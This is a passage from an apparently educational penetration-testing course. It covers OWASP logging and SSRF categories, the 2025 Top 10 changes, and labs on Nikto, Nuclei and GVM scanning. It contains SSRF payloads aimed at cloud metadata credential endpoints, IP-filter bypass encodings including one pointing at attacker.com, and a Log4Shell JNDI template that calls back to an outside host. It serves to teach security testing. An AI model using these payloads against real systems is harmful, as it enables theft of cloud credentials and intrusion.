&lt;p&gt;Tool for generating Java deserialization exploit payloads: &lt;strong&gt;ysoserial&lt;/strong&gt; — generates malicious serialized objects that execute specified commands when deserialized by vulnerable libraries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Supply chain attacks:&lt;/strong&gt; The SolarWinds attack (2020) and the XZ Utils backdoor (2024) demonstrated that even organizations with strong perimeter security can be compromised through their trusted software supply chain. For web application testing, this manifests as evaluating whether the application uses third-party dependencies that could introduce malicious code.&lt;/p&gt;

&lt;h3&gt;
  
  
  A09:2021 — Security Logging and Monitoring Failures
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The category that determines whether a breach is detected in hours or months.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The average time between a breach occurring and being detected, according to IBM's 2024 Cost of a Data Breach Report, is 194 days. That is six and a half months of undetected attacker activity. The gap between breach and detection is where logging and monitoring failures live.&lt;/p&gt;

&lt;p&gt;This category is unique among the OWASP Top 10: it does not describe a direct vulnerability that attackers exploit. It describes the failure to detect that attacks are happening. Without logging, a penetration test that compromises an application leaves no trace the security team can investigate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What must be logged:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication events: every login attempt (successful and failed), every password change, every MFA event&lt;/li&gt;
&lt;li&gt;Access control failures: every 403 response (someone tried to access something they are not authorized for)&lt;/li&gt;
&lt;li&gt;Input validation failures: every rejected input that might indicate injection testing&lt;/li&gt;
&lt;li&gt;High-risk operations: administrative actions, privilege changes, data exports&lt;/li&gt;
&lt;li&gt;Session lifecycle: session creation, session expiry, logout&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Common logging failures:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Not logging at all ("we'll add logging later")&lt;/li&gt;
&lt;li&gt;Logging to the same filesystem that an attacker might compromise (an attacker who compromises a server can delete local logs)&lt;/li&gt;
&lt;li&gt;No centralized aggregation (each server keeps its own logs, making correlation across the environment impossible)&lt;/li&gt;
&lt;li&gt;No alerting (logs collected but never reviewed in real time)&lt;/li&gt;
&lt;li&gt;Excessive logging that creates too much noise to find signals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For penetration testers:&lt;/strong&gt; Testing monitoring is typically done by conducting obvious attack activity (automated scanner traffic, brute force attempts, obviously malformed input) and asking the client whether any alerts fired. A complete penetration test that generates no security alerts despite conducting active exploitation is itself a critical finding about the organization's detection capability.&lt;/p&gt;

&lt;h3&gt;
  
  
  A10:2021 — Server-Side Request Forgery (SSRF)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;New to the OWASP Top 10 in 2021. Critically important in cloud environments.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SSRF occurs when an application fetches a remote resource based on user-controlled input without validating whether that URL is safe to request. The result is that the server makes requests on the attacker's behalf — to internal services, to cloud metadata endpoints, or to other resources the attacker cannot reach directly.&lt;/p&gt;

&lt;p&gt;Imagine an application with a "preview this link" feature — you provide a URL and the application fetches it and shows you a preview. The application server makes an HTTP request to whatever URL you provide. If you provide &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt; — the AWS Instance Metadata Service address — and the application is running on an AWS EC2 instance, the server fetches this internal URL and returns the IAM credentials of the instance's IAM role.&lt;/p&gt;

&lt;p&gt;Cloud infrastructure metadata services are the most impactful SSRF targets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AWS:&lt;/strong&gt; &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt; — returns IAM credentials, instance details, user data scripts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure:&lt;/strong&gt; &lt;code&gt;http://169.254.169.254/metadata/instance?api-version=2021-02-01&lt;/code&gt; with &lt;code&gt;Metadata: true&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GCP:&lt;/strong&gt; &lt;code&gt;http://metadata.google.internal/computeMetadata/v1/&lt;/code&gt; with &lt;code&gt;Metadata-Flavor: Google&lt;/code&gt; header&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Successful SSRF against a cloud metadata endpoint returns IAM credentials that can be used to make AWS/Azure/GCP API calls with the instance's permissions — potentially accessing S3 buckets, databases, secrets manager, and other cloud resources far beyond the application itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Finding SSRF entry points:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any feature that makes outbound HTTP requests based on user input is an SSRF candidate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link preview / URL metadata fetching&lt;/li&gt;
&lt;li&gt;Webhook configuration (user provides a URL that receives events)&lt;/li&gt;
&lt;li&gt;Document/PDF generation from a URL&lt;/li&gt;
&lt;li&gt;"Import from URL" features&lt;/li&gt;
&lt;li&gt;Image proxying&lt;/li&gt;
&lt;li&gt;Server-side OAuth flows&lt;/li&gt;
&lt;li&gt;XML parsers (XXE can trigger SSRF through external entity declarations)&lt;/li&gt;
&lt;li&gt;PDF generators processing CSS &lt;code&gt;url()&lt;/code&gt; references&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Testing for SSRF:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use Burp Suite's Collaborator (or interactsh for an open-source alternative) to generate a unique callback URL. Submit this URL to any suspected SSRF entry point. If your Collaborator receives an HTTP or DNS request from the target application's IP range, you have confirmed the application makes outbound requests — which is SSRF.&lt;/p&gt;

&lt;p&gt;Then escalate to internal targets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1/admin
http://localhost:8080/
http://169.254.169.254/
http://192.168.1.1/
http://10.0.0.1/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bypass attempts when IP-based filtering is in place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Decimal encoding of 127.0.0.1
http://2130706433/

# Octal encoding
http://0177.0.0.1/

# Hex encoding
http://0x7f000001/

# IPv6 loopback
http://[::1]/

# DNS rebinding: a domain that resolves to 127.0.0.1
http://localtest.me/

# URL-encoded components
http://127.0.0.1%2f@attacker.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The OWASP Top 10:2025 — What Is Changing and Why It Matters
&lt;/h3&gt;

&lt;p&gt;OWASP's 2025 Release Candidate reflects the evolving threat landscape. Key changes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A01:2025 — Broken Access Control&lt;/strong&gt; remains the most prevalent category at #1. Significantly: SSRF has been absorbed into this category rather than standing alone, reflecting the understanding that SSRF is fundamentally an access control failure — the application makes requests it should not be permitted to make.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A02:2025 — Security Misconfiguration&lt;/strong&gt; jumped from #5 to #2. As applications become more configuration-driven (containers, infrastructure-as-code, cloud services), misconfiguration has overtaken many implementation-level vulnerabilities in frequency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A03:2025 — Software Supply Chain Failures&lt;/strong&gt; expands the previous "Vulnerable and Outdated Components" to encompass the full scope of supply chain risk — compromised build pipelines (SolarWinds-style attacks), malicious package injection (PyPI/npm poisoning), and transitive dependency vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Injection dropped from #3 to #5&lt;/strong&gt;. Better static analysis tooling and developer education have made classic injection vulnerabilities somewhat less prevalent — though they remain critically impactful when found.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;New entries and considerations for 2025:&lt;/strong&gt; Race conditions and Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities are gaining attention. Web cache poisoning is increasingly significant. AI-specific vulnerabilities (prompt injection in LLM-integrated applications, model manipulation) are being discussed for explicit inclusion.&lt;/p&gt;




&lt;h2&gt;
  
  
  6.1.7 Lab — Website Vulnerability Scanning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Understanding What Automated Scanners Do and Do Not Catch
&lt;/h3&gt;

&lt;p&gt;Before running any scanner, internalize this: automated vulnerability scanners catch approximately 30-40% of vulnerabilities in a real web application. They excel at pattern matching — finding known vulnerable library versions, common misconfigurations, obvious injection points, and security header absences. They fail completely at business logic flaws, subtle access control issues, multi-step attack chains, and vulnerabilities unique to the specific application's implementation.&lt;/p&gt;

&lt;p&gt;Automated scanning is the first step, not the final answer. It identifies the low-hanging fruit and provides a coverage baseline so your manual testing can focus on the harder, higher-value issues.&lt;/p&gt;

&lt;h3&gt;
  
  
  Nikto — Web Server Configuration Scanner
&lt;/h3&gt;

&lt;p&gt;Nikto performs over 6,700 checks against web servers: dangerous files, outdated software, enabled unnecessary HTTP methods, security header issues, default installations, and known vulnerabilities.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic scan&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; https://target.com

&lt;span class="c"&gt;# Scan with SSL&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-ssl&lt;/span&gt;

&lt;span class="c"&gt;# Save output in multiple formats&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.html &lt;span class="nt"&gt;-Format&lt;/span&gt; htm
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.txt &lt;span class="nt"&gt;-Format&lt;/span&gt; txt
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.xml &lt;span class="nt"&gt;-Format&lt;/span&gt; xml

&lt;span class="c"&gt;# Scan a specific port&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-p&lt;/span&gt; 8080

&lt;span class="c"&gt;# Scan through Burp Suite proxy (capture Nikto's requests for review)&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-useproxy&lt;/span&gt; http://127.0.0.1:8080

&lt;span class="c"&gt;# Disable DNS resolution (faster)&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-nodns&lt;/span&gt;

&lt;span class="c"&gt;# Tune to specific test categories:&lt;/span&gt;
&lt;span class="c"&gt;# 0: File Upload, 1: Interesting File/Seen in logs, 2: Misconfiguration&lt;/span&gt;
&lt;span class="c"&gt;# 3: Information Disclosure, 4: Injection (XSS/Script/HTML), 5: Remote File Retrieval&lt;/span&gt;
&lt;span class="c"&gt;# 6: Denial of Service, 7: Remote File Retrieval (Server Wide), 8: Command Execution&lt;/span&gt;
&lt;span class="c"&gt;# 9: SQL Injection, a: Authentication Bypass, b: Software Identification&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://target.com &lt;span class="nt"&gt;-Tuning&lt;/span&gt; 4,9    &lt;span class="c"&gt;# XSS and SQLi tests only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Interpreting Key Nikto Findings:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"The anti-clickjacking X-Frame-Options header is not present"&lt;/code&gt; → The page can be embedded in an iframe. Clickjacking is possible. Medium finding, higher impact if the page contains sensitive actions.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"The X-Content-Type-Options header is not set"&lt;/code&gt; → Browser MIME-type sniffing possible. Low-medium finding.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Cookie session_id created without the httponly flag"&lt;/code&gt; → XSS can steal this cookie. Critical if this is the primary session cookie.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Cookie session_id created without the secure flag"&lt;/code&gt; → Cookie sent over HTTP. High finding.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE"&lt;/code&gt; → DELETE and TRACE enabled are findings. PUT enabled may allow file upload to the server root.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Server leaks inodes via ETags, inode: XXXX, size: XXXX, mtime: XXXX"&lt;/code&gt; → Information disclosure through ETag headers. Low finding.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Default account found for 'admin': admin:admin"&lt;/code&gt; → Default credentials confirmed. Critical finding.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"OSVDB-XXXX: /phpMyAdmin/: phpMyAdmin directory found"&lt;/code&gt; → Database admin interface exposed. Critical finding — attempt default credentials and check for authentication bypass.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Retrieved x-powered-by header: PHP/7.4.3"&lt;/code&gt; → PHP version disclosure. Cross-reference against PHP CVE database for this specific version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Nuclei — Template-Based Vulnerability Scanner
&lt;/h3&gt;

&lt;p&gt;Nuclei uses YAML templates — each template defines a specific test. The template library is community-maintained and grows rapidly, with new templates appearing within hours of major CVE disclosures.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Update template library (run this before every engagement)&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-update-templates&lt;/span&gt;

&lt;span class="c"&gt;# Basic scan with default templates&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com

&lt;span class="c"&gt;# Scan with specific severity levels&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-severity&lt;/span&gt; critical
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-severity&lt;/span&gt; critical,high

&lt;span class="c"&gt;# Scan by tag categories&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; cve           &lt;span class="c"&gt;# All CVE checks&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; exposure      &lt;span class="c"&gt;# Exposed sensitive files/data&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; misconfig     &lt;span class="c"&gt;# Misconfigurations&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; default-login &lt;span class="c"&gt;# Default credentials&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; xss           &lt;span class="c"&gt;# XSS checks&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; sqli          &lt;span class="c"&gt;# SQL injection checks&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; ssrf          &lt;span class="c"&gt;# SSRF checks&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-tags&lt;/span&gt; lfi           &lt;span class="c"&gt;# Local file inclusion&lt;/span&gt;

&lt;span class="c"&gt;# Scan for a specific CVE&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2021-44228    &lt;span class="c"&gt;# Log4Shell&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2021-26855   &lt;span class="c"&gt;# ProxyLogon (Exchange)&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-id&lt;/span&gt; CVE-2022-22965   &lt;span class="c"&gt;# Spring4Shell&lt;/span&gt;

&lt;span class="c"&gt;# Scan a list of targets&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-list&lt;/span&gt; targets.txt &lt;span class="nt"&gt;-severity&lt;/span&gt; critical,high

&lt;span class="c"&gt;# Output to file&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_findings.txt
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; nuclei_findings.json &lt;span class="nt"&gt;-json&lt;/span&gt;

&lt;span class="c"&gt;# Run against all URLs discovered in a web spider&lt;/span&gt;
katana &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-o&lt;/span&gt; urls.txt
nuclei &lt;span class="nt"&gt;-list&lt;/span&gt; urls.txt &lt;span class="nt"&gt;-tags&lt;/span&gt; xss,sqli,ssrf

&lt;span class="c"&gt;# Concurrent scanning with rate limiting (be careful with production targets)&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-u&lt;/span&gt; https://target.com &lt;span class="nt"&gt;-rate-limit&lt;/span&gt; 50 &lt;span class="nt"&gt;-concurrency&lt;/span&gt; 25
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Understanding Nuclei Template Structure (Read One to Understand All):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CVE-2021-44228-log4j-rce&lt;/span&gt;    &lt;span class="c1"&gt;# Unique identifier&lt;/span&gt;

&lt;span class="na"&gt;info&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Apache Log4j RCE (Log4Shell)&lt;/span&gt;
  &lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pdteam&lt;/span&gt;
  &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;critical&lt;/span&gt;
  &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;Apache Log4j2 allows JNDI lookups to remote LDAP servers, enabling &lt;/span&gt;
    &lt;span class="s"&gt;remote code execution.&lt;/span&gt;
  &lt;span class="na"&gt;tags&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cve,cve2021,apache,log4j,log4shell,jndi,rce&lt;/span&gt;

&lt;span class="na"&gt;requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;raw&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
        &lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;
        &lt;span class="s"&gt;Host: {{Hostname}}&lt;/span&gt;
        &lt;span class="s"&gt;User-Agent: ${jndi:ldap://{{interactsh-url}}/exploit}  # JNDI payload in User-Agent&lt;/span&gt;
        &lt;span class="s"&gt;X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/exploit}&lt;/span&gt;
        &lt;span class="s"&gt;Accept: */*&lt;/span&gt;
    &lt;span class="na"&gt;matchers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;word&lt;/span&gt;
        &lt;span class="na"&gt;part&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;interactsh_protocol&lt;/span&gt;  &lt;span class="c1"&gt;# Match on DNS callback&lt;/span&gt;
        &lt;span class="na"&gt;words&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dns"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This template sends a JNDI lookup payload in request headers. If the application uses Log4j to log these headers (extremely common), the JNDI reference triggers a DNS lookup to the Nuclei interactsh callback server. The template matches on receiving that callback, confirming Log4Shell vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Verification After Automated Scanning
&lt;/h3&gt;

&lt;p&gt;Every automated scanner finding requires manual verification before going into a report. False positives waste client remediation effort and damage your credibility. Here is the verification mindset for common findings:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security header findings:&lt;/strong&gt; These are almost always true positives — either the header is present in the response or it is not. Verify by making a request in Burp and checking the response headers yourself. Confirm in multiple response types (main page, login page, API endpoints — some may be configured inconsistently).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE findings based on version detection:&lt;/strong&gt; These require careful verification. Check whether the detected version is actually within the vulnerable range. Check whether the target platform (OS, distribution) may have backported patches. Attempt actual exploitation in a controlled way — confirm the vulnerability is actually exploitable rather than just theoretically present.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default credential findings:&lt;/strong&gt; Always verify manually. Log in with the reported credentials and confirm you have the access level indicated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exposed file findings:&lt;/strong&gt; Visit the found URL and confirm the response is actually sensitive. Nikto may flag &lt;code&gt;/phpinfo.php&lt;/code&gt; — verify the phpinfo page actually loads and reveals meaningful information.&lt;/p&gt;




&lt;h2&gt;
  
  
  6.1.8 Lab — Using the GVM Vulnerability Scanner
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What GVM/OpenVAS Is and Why It Complements Nikto and Nuclei
&lt;/h3&gt;

&lt;p&gt;GVM (Greenbone Vulnerability Management) is the complete enterprise vulnerability management platform built around the OpenVAS scanning engine. Where Nikto is a quick web server configuration checker and Nuclei tests specific templates, GVM performs comprehensive network and application scanning using over 160,000 Network Vulnerability Tests (NVTs), organized by CVE, product, and severity.&lt;/p&gt;

&lt;p&gt;GVM is the open-source alternative to commercial platforms like Nessus Professional. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authenticated scanning (providing credentials to get inside-out visibility)&lt;/li&gt;
&lt;li&gt;Comprehensive vulnerability test library&lt;/li&gt;
&lt;li&gt;Historical scan comparison&lt;/li&gt;
&lt;li&gt;Structured report generation&lt;/li&gt;
&lt;li&gt;REST API for integration&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Setting Up GVM on Kali Linux
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install GVM&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; gvm

&lt;span class="c"&gt;# Run first-time setup (takes 15-30 minutes - downloads all feeds)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-setup

&lt;span class="c"&gt;# The setup will output admin credentials - SAVE THESE&lt;/span&gt;
&lt;span class="c"&gt;# Example output: "User created with password: 'r4nd0mP@ss'"&lt;/span&gt;

&lt;span class="c"&gt;# Start GVM services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-start

&lt;span class="c"&gt;# Verify everything is running correctly&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-check-setup

&lt;span class="c"&gt;# Access the web interface&lt;/span&gt;
&lt;span class="c"&gt;# Open: https://127.0.0.1:9392 in your browser&lt;/span&gt;
&lt;span class="c"&gt;# Accept the self-signed certificate warning&lt;/span&gt;
&lt;span class="c"&gt;# Login with the credentials from setup&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Keeping GVM Updated
&lt;/h3&gt;

&lt;p&gt;Your scan results are only as good as your feed data. Run feed updates before every engagement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Update all GVM feeds&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-nvt-sync          &lt;span class="c"&gt;# Network Vulnerability Tests&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-feed-sync &lt;span class="nt"&gt;--type&lt;/span&gt; SCAP   &lt;span class="c"&gt;# CVE and OVAL data&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-feed-sync &lt;span class="nt"&gt;--type&lt;/span&gt; CERT   &lt;span class="c"&gt;# CERT-Bund advisories&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;greenbone-feed-sync &lt;span class="nt"&gt;--type&lt;/span&gt; GVMD_DATA   &lt;span class="c"&gt;# GVM management data&lt;/span&gt;

&lt;span class="c"&gt;# After updating, restart services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-stop &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;gvm-start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Creating and Running a Scan
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Create a Scan Target&lt;/strong&gt;&lt;br&gt;
In the web UI: Configuration → Targets → New Target&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Name: "Module 6 Lab Target"&lt;/li&gt;
&lt;li&gt;Hosts: IP address of your lab target (e.g., the DVWA or vulnerable VM IP)&lt;/li&gt;
&lt;li&gt;Credentials: Add if doing authenticated scanning (SSH for Linux, SMB for Windows, HTTP credentials for web app)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Create a Scan Task&lt;/strong&gt;&lt;br&gt;
Scans → Tasks → New Task&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Name: "Initial Web Application Assessment"&lt;/li&gt;
&lt;li&gt;Scan Targets: Select your created target&lt;/li&gt;
&lt;li&gt;Scan Config: "Full and Fast" for comprehensive testing, or "Web Application Tests" for web-specific NVTs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Start the Scan&lt;/strong&gt;&lt;br&gt;
Click the play button next to your task. Monitor progress in the Tasks view.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Review Results&lt;/strong&gt;&lt;br&gt;
Once complete, click on the scan report. Navigate to Results to see individual findings organized by severity.&lt;/p&gt;
&lt;h3&gt;
  
  
  Understanding GVM Scan Configurations
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Full and Fast:&lt;/strong&gt; Runs all applicable NVTs with optimized timing. This is the standard configuration for most assessments. Comprehensive coverage without being as intrusive as "Very Deep."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full and Very Deep:&lt;/strong&gt; Runs the most thorough checks, including some potentially service-disrupting tests. Use this in isolated lab environments only — it may crash vulnerable services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Web Application Tests:&lt;/strong&gt; Focuses specifically on web application NVTs — useful for targeted web assessments where you have already done infrastructure scanning separately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovery:&lt;/strong&gt; Light scan that identifies services and open ports without deep vulnerability testing. Use this for initial host discovery in large networks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;System Discovery:&lt;/strong&gt; Even lighter — just host discovery. Similar to &lt;code&gt;nmap -sn&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Reading GVM Reports
&lt;/h3&gt;

&lt;p&gt;GVM reports classify findings using CVSS:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical (CVSS 9.0-10.0):&lt;/strong&gt; Address immediately. Remotely exploitable with no authentication required, significant impact. These are your lead findings in any report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;High (CVSS 7.0-8.9):&lt;/strong&gt; Address urgently. Serious impact, typically exploitable remotely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Medium (CVSS 4.0-6.9):&lt;/strong&gt; Address within 30 days. Significant but with mitigating factors.&lt;/p&gt;

